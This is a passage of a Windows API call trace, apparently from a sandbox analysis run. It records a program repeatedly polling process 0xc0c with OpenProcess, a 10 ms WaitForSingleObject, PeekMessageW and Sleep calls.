(hHandle=0x3960, dwMilliseconds=0xa) returned 0x102 [0298.466] CloseHandle (hObject=0x3960) returned 1 [0298.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.466] Sleep (dwMilliseconds=0x1) [0298.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3960 [0298.481] WaitForSingleObject (hHandle=0x3960, dwMilliseconds=0xa) returned 0x102 [0298.497] CloseHandle (hObject=0x3960) returned 1 [0298.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.497] Sleep (dwMilliseconds=0x1) [0298.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3960 [0298.512] WaitForSingleObject (hHandle=0x3960, dwMilliseconds=0xa) returned 0x102 [0298.528] CloseHandle (hObject=0x3960) returned 1 [0298.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.528] Sleep (dwMilliseconds=0x1) [0298.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3960 [0298.544] WaitForSingleObject (hHandle=0x3960, dwMilliseconds=0xa) returned 0x102 [0298.559] CloseHandle (hObject=0x3960) returned 1 [0298.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.559] Sleep (dwMilliseconds=0x1) [0298.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3978 [0298.576] WaitForSingleObject (hHandle=0x3978, dwMilliseconds=0xa) returned 0x102 [0298.591] CloseHandle (hObject=0x3978) returned 1 [0298.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.591] Sleep (dwMilliseconds=0x1) [0298.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3990 [0298.607] WaitForSingleObject (hHandle=0x3990, dwMilliseconds=0xa) returned 0x102 [0298.622] CloseHandle (hObject=0x3990) returned 1 [0298.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.622] Sleep (dwMilliseconds=0x1) [0298.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3990 [0298.638] WaitForSingleObject (hHandle=0x3990, dwMilliseconds=0xa) returned 0x102 [0298.653] CloseHandle (hObject=0x3990) returned 1 [0298.653] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.653] Sleep (dwMilliseconds=0x1) [0298.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3990 [0298.669] WaitForSingleObject (hHandle=0x3990, dwMilliseconds=0xa) returned 0x102 [0298.684] CloseHandle (hObject=0x3990) returned 1 [0298.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.685] Sleep (dwMilliseconds=0x1) [0298.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x399c [0298.700] WaitForSingleObject (hHandle=0x399c, dwMilliseconds=0xa) returned 0x102 [0298.716] CloseHandle (hObject=0x399c) returned 1 [0298.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.716] Sleep (dwMilliseconds=0x1) [0298.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x399c [0298.731] WaitForSingleObject (hHandle=0x399c, dwMilliseconds=0xa) returned 0x102 [0298.747] CloseHandle (hObject=0x399c) returned 1 [0298.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.747] Sleep (dwMilliseconds=0x1) [0298.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x399c [0298.762] WaitForSingleObject (hHandle=0x399c, dwMilliseconds=0xa) returned 0x102 [0298.787] CloseHandle (hObject=0x399c) returned 1 [0298.787] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.787] Sleep (dwMilliseconds=0x1) [0298.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x399c [0298.794] WaitForSingleObject (hHandle=0x399c, dwMilliseconds=0xa) returned 0x102 [0298.809] CloseHandle (hObject=0x399c) returned 1 [0298.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.809] Sleep (dwMilliseconds=0x1) [0298.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x399c [0298.825] WaitForSingleObject (hHandle=0x399c, dwMilliseconds=0xa) returned 0x102 [0298.841] CloseHandle (hObject=0x399c) returned 1 [0298.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.841] Sleep (dwMilliseconds=0x1) [0298.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x39bc [0298.857] WaitForSingleObject (hHandle=0x39bc, dwMilliseconds=0xa) returned 0x102 [0298.872] CloseHandle (hObject=0x39bc) returned 1 [0298.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.872] Sleep (dwMilliseconds=0x1) [0298.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x39bc [0298.889] WaitForSingleObject (hHandle=0x39bc, dwMilliseconds=0xa) returned 0x102 [0298.904] CloseHandle (hObject=0x39bc) returned 1 [0298.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.904] Sleep (dwMilliseconds=0x1) [0298.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x39f4 [0298.919] WaitForSingleObject (hHandle=0x39f4, dwMilliseconds=0xa) returned 0x102 [0298.934] CloseHandle (hObject=0x39f4) returned 1 [0298.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.934] Sleep (dwMilliseconds=0x1) [0298.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a04 [0298.951] WaitForSingleObject (hHandle=0x3a04, dwMilliseconds=0xa) returned 0x102 [0298.966] CloseHandle (hObject=0x3a04) returned 1 [0298.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.966] Sleep (dwMilliseconds=0x1) [0298.981] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a04 [0298.981] WaitForSingleObject (hHandle=0x3a04, dwMilliseconds=0xa) returned 0x102 [0298.997] CloseHandle (hObject=0x3a04) returned 1 [0298.997] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0298.997] Sleep (dwMilliseconds=0x1) [0299.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a04 [0299.018] WaitForSingleObject (hHandle=0x3a04, dwMilliseconds=0xa) returned 0x102 [0299.028] CloseHandle (hObject=0x3a04) returned 1 [0299.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.028] Sleep (dwMilliseconds=0x1) [0299.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a04 [0299.044] WaitForSingleObject (hHandle=0x3a04, dwMilliseconds=0xa) returned 0x102 [0299.059] CloseHandle (hObject=0x3a04) returned 1 [0299.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.059] Sleep (dwMilliseconds=0x1) [0299.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a04 [0299.075] WaitForSingleObject (hHandle=0x3a04, dwMilliseconds=0xa) returned 0x102 [0299.091] CloseHandle (hObject=0x3a04) returned 1 [0299.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.091] Sleep (dwMilliseconds=0x1) [0299.111] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a30 [0299.111] WaitForSingleObject (hHandle=0x3a30, dwMilliseconds=0xa) returned 0x102 [0299.122] CloseHandle (hObject=0x3a30) returned 1 [0299.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.122] Sleep (dwMilliseconds=0x1) [0299.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a30 [0299.138] WaitForSingleObject (hHandle=0x3a30, dwMilliseconds=0xa) returned 0x102 [0299.153] CloseHandle (hObject=0x3a30) returned 1 [0299.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.153] Sleep (dwMilliseconds=0x1) [0299.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a30 [0299.169] WaitForSingleObject (hHandle=0x3a30, dwMilliseconds=0xa) returned 0x102 [0299.184] CloseHandle (hObject=0x3a30) returned 1 [0299.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.185] Sleep (dwMilliseconds=0x1) [0299.202] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a4c [0299.202] WaitForSingleObject (hHandle=0x3a4c, dwMilliseconds=0xa) returned 0x102 [0299.216] CloseHandle (hObject=0x3a4c) returned 1 [0299.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.216] Sleep (dwMilliseconds=0x1) [0299.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a4c [0299.231] WaitForSingleObject (hHandle=0x3a4c, dwMilliseconds=0xa) returned 0x102 [0299.247] CloseHandle (hObject=0x3a4c) returned 1 [0299.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.247] Sleep (dwMilliseconds=0x1) [0299.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a4c [0299.262] WaitForSingleObject (hHandle=0x3a4c, dwMilliseconds=0xa) returned 0x102 [0299.278] CloseHandle (hObject=0x3a4c) returned 1 [0299.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.278] Sleep (dwMilliseconds=0x1) [0299.294] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a4c [0299.294] WaitForSingleObject (hHandle=0x3a4c, dwMilliseconds=0xa) returned 0x102 [0299.312] CloseHandle (hObject=0x3a4c) returned 1 [0299.312] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.312] Sleep (dwMilliseconds=0x1) [0299.329] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a88 [0299.329] WaitForSingleObject (hHandle=0x3a88, dwMilliseconds=0xa) returned 0x102 [0299.341] CloseHandle (hObject=0x3a88) returned 1 [0299.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.341] Sleep (dwMilliseconds=0x1) [0299.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3a88 [0299.357] WaitForSingleObject (hHandle=0x3a88, dwMilliseconds=0xa) returned 0x102 [0299.372] CloseHandle (hObject=0x3a88) returned 1 [0299.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.372] Sleep (dwMilliseconds=0x1) [0299.390] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3aa4 [0299.390] WaitForSingleObject (hHandle=0x3aa4, dwMilliseconds=0xa) returned 0x102 [0299.404] CloseHandle (hObject=0x3aa4) returned 1 [0299.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.404] Sleep (dwMilliseconds=0x1) [0299.419] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ac4 [0299.419] WaitForSingleObject (hHandle=0x3ac4, dwMilliseconds=0xa) returned 0x102 [0299.434] CloseHandle (hObject=0x3ac4) returned 1 [0299.434] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.434] Sleep (dwMilliseconds=0x1) [0299.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ac4 [0299.450] WaitForSingleObject (hHandle=0x3ac4, dwMilliseconds=0xa) returned 0x102 [0299.466] CloseHandle (hObject=0x3ac4) returned 1 [0299.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.466] Sleep (dwMilliseconds=0x1) [0299.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ac4 [0299.481] WaitForSingleObject (hHandle=0x3ac4, dwMilliseconds=0xa) returned 0x102 [0299.497] CloseHandle (hObject=0x3ac4) returned 1 [0299.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.497] Sleep (dwMilliseconds=0x1) [0299.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3afc [0299.513] WaitForSingleObject (hHandle=0x3afc, dwMilliseconds=0xa) returned 0x102 [0299.528] CloseHandle (hObject=0x3afc) returned 1 [0299.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.528] Sleep (dwMilliseconds=0x1) [0299.556] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b08 [0299.556] WaitForSingleObject (hHandle=0x3b08, dwMilliseconds=0xa) returned 0x102 [0299.562] CloseHandle (hObject=0x3b08) returned 1 [0299.562] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.562] Sleep (dwMilliseconds=0x1) [0299.565] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b18 [0299.565] WaitForSingleObject (hHandle=0x3b18, dwMilliseconds=0xa) returned 0x102 [0299.591] CloseHandle (hObject=0x3b18) returned 1 [0299.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.591] Sleep (dwMilliseconds=0x1) [0299.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b18 [0299.606] WaitForSingleObject (hHandle=0x3b18, dwMilliseconds=0xa) returned 0x102 [0299.630] CloseHandle (hObject=0x3b18) returned 1 [0299.630] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.630] Sleep (dwMilliseconds=0x1) [0299.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b44 [0299.637] WaitForSingleObject (hHandle=0x3b44, dwMilliseconds=0xa) returned 0x102 [0299.673] CloseHandle (hObject=0x3b44) returned 1 [0299.673] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.673] Sleep (dwMilliseconds=0x1) [0299.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b50 [0299.685] WaitForSingleObject (hHandle=0x3b50, dwMilliseconds=0xa) returned 0x102 [0299.703] CloseHandle (hObject=0x3b50) returned 1 [0299.703] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.703] Sleep (dwMilliseconds=0x1) [0299.719] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b64 [0299.719] WaitForSingleObject (hHandle=0x3b64, dwMilliseconds=0xa) returned 0x102 [0299.746] CloseHandle (hObject=0x3b64) returned 1 [0299.746] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.746] Sleep (dwMilliseconds=0x1) [0299.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b64 [0299.763] WaitForSingleObject (hHandle=0x3b64, dwMilliseconds=0xa) returned 0x102 [0299.789] CloseHandle (hObject=0x3b64) returned 1 [0299.789] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.789] Sleep (dwMilliseconds=0x1) [0299.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b70 [0299.795] WaitForSingleObject (hHandle=0x3b70, dwMilliseconds=0xa) returned 0x102 [0299.809] CloseHandle (hObject=0x3b70) returned 1 [0299.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.809] Sleep (dwMilliseconds=0x1) [0299.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b70 [0299.825] WaitForSingleObject (hHandle=0x3b70, dwMilliseconds=0xa) returned 0x102 [0299.841] CloseHandle (hObject=0x3b70) returned 1 [0299.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.841] Sleep (dwMilliseconds=0x1) [0299.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b70 [0299.856] WaitForSingleObject (hHandle=0x3b70, dwMilliseconds=0xa) returned 0x102 [0299.872] CloseHandle (hObject=0x3b70) returned 1 [0299.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.872] Sleep (dwMilliseconds=0x1) [0299.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b74 [0299.888] WaitForSingleObject (hHandle=0x3b74, dwMilliseconds=0xa) returned 0x102 [0299.903] CloseHandle (hObject=0x3b74) returned 1 [0299.903] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.903] Sleep (dwMilliseconds=0x1) [0299.918] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b80 [0299.919] WaitForSingleObject (hHandle=0x3b80, dwMilliseconds=0xa) returned 0x102 [0299.934] CloseHandle (hObject=0x3b80) returned 1 [0299.934] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.934] Sleep (dwMilliseconds=0x1) [0299.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3b80 [0299.950] WaitForSingleObject (hHandle=0x3b80, dwMilliseconds=0xa) returned 0x102 [0299.966] CloseHandle (hObject=0x3b80) returned 1 [0299.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.966] Sleep (dwMilliseconds=0x1) [0299.990] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ba0 [0299.990] WaitForSingleObject (hHandle=0x3ba0, dwMilliseconds=0xa) returned 0x102 [0299.998] CloseHandle (hObject=0x3ba0) returned 1 [0299.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0299.998] Sleep (dwMilliseconds=0x1) [0300.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ba0 [0300.018] WaitForSingleObject (hHandle=0x3ba0, dwMilliseconds=0xa) returned 0x102 [0300.029] CloseHandle (hObject=0x3ba0) returned 1 [0300.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.029] Sleep (dwMilliseconds=0x1) [0300.047] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3ba8 [0300.047] WaitForSingleObject (hHandle=0x3ba8, dwMilliseconds=0xa) returned 0x102 [0300.059] CloseHandle (hObject=0x3ba8) returned 1 [0300.059] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.059] Sleep (dwMilliseconds=0x1) [0300.079] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bac [0300.079] WaitForSingleObject (hHandle=0x3bac, dwMilliseconds=0xa) returned 0x102 [0300.091] CloseHandle (hObject=0x3bac) returned 1 [0300.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.091] Sleep (dwMilliseconds=0x1) [0300.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bac [0300.107] WaitForSingleObject (hHandle=0x3bac, dwMilliseconds=0xa) returned 0x102 [0300.122] CloseHandle (hObject=0x3bac) returned 1 [0300.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.122] Sleep (dwMilliseconds=0x1) [0300.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bac [0300.137] WaitForSingleObject (hHandle=0x3bac, dwMilliseconds=0xa) returned 0x102 [0300.155] CloseHandle (hObject=0x3bac) returned 1 [0300.155] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.155] Sleep (dwMilliseconds=0x1) [0300.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bac [0300.169] WaitForSingleObject (hHandle=0x3bac, dwMilliseconds=0xa) returned 0x102 [0300.184] CloseHandle (hObject=0x3bac) returned 1 [0300.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.184] Sleep (dwMilliseconds=0x1) [0300.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bac [0300.200] WaitForSingleObject (hHandle=0x3bac, dwMilliseconds=0xa) returned 0x102 [0300.216] CloseHandle (hObject=0x3bac) returned 1 [0300.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.216] Sleep (dwMilliseconds=0x1) [0300.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.231] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.253] CloseHandle (hObject=0x3bb4) returned 1 [0300.253] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.253] Sleep (dwMilliseconds=0x1) [0300.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.264] WaitForSingleObject (hHandle=0x3bb4, dwMilliseconds=0xa) returned 0x102 [0300.278] CloseHandle (hObject=0x3bb4) returned 1 [0300.278] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0300.278] Sleep (dwMilliseconds=0x1) [0300.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3bb4 [0300.295] 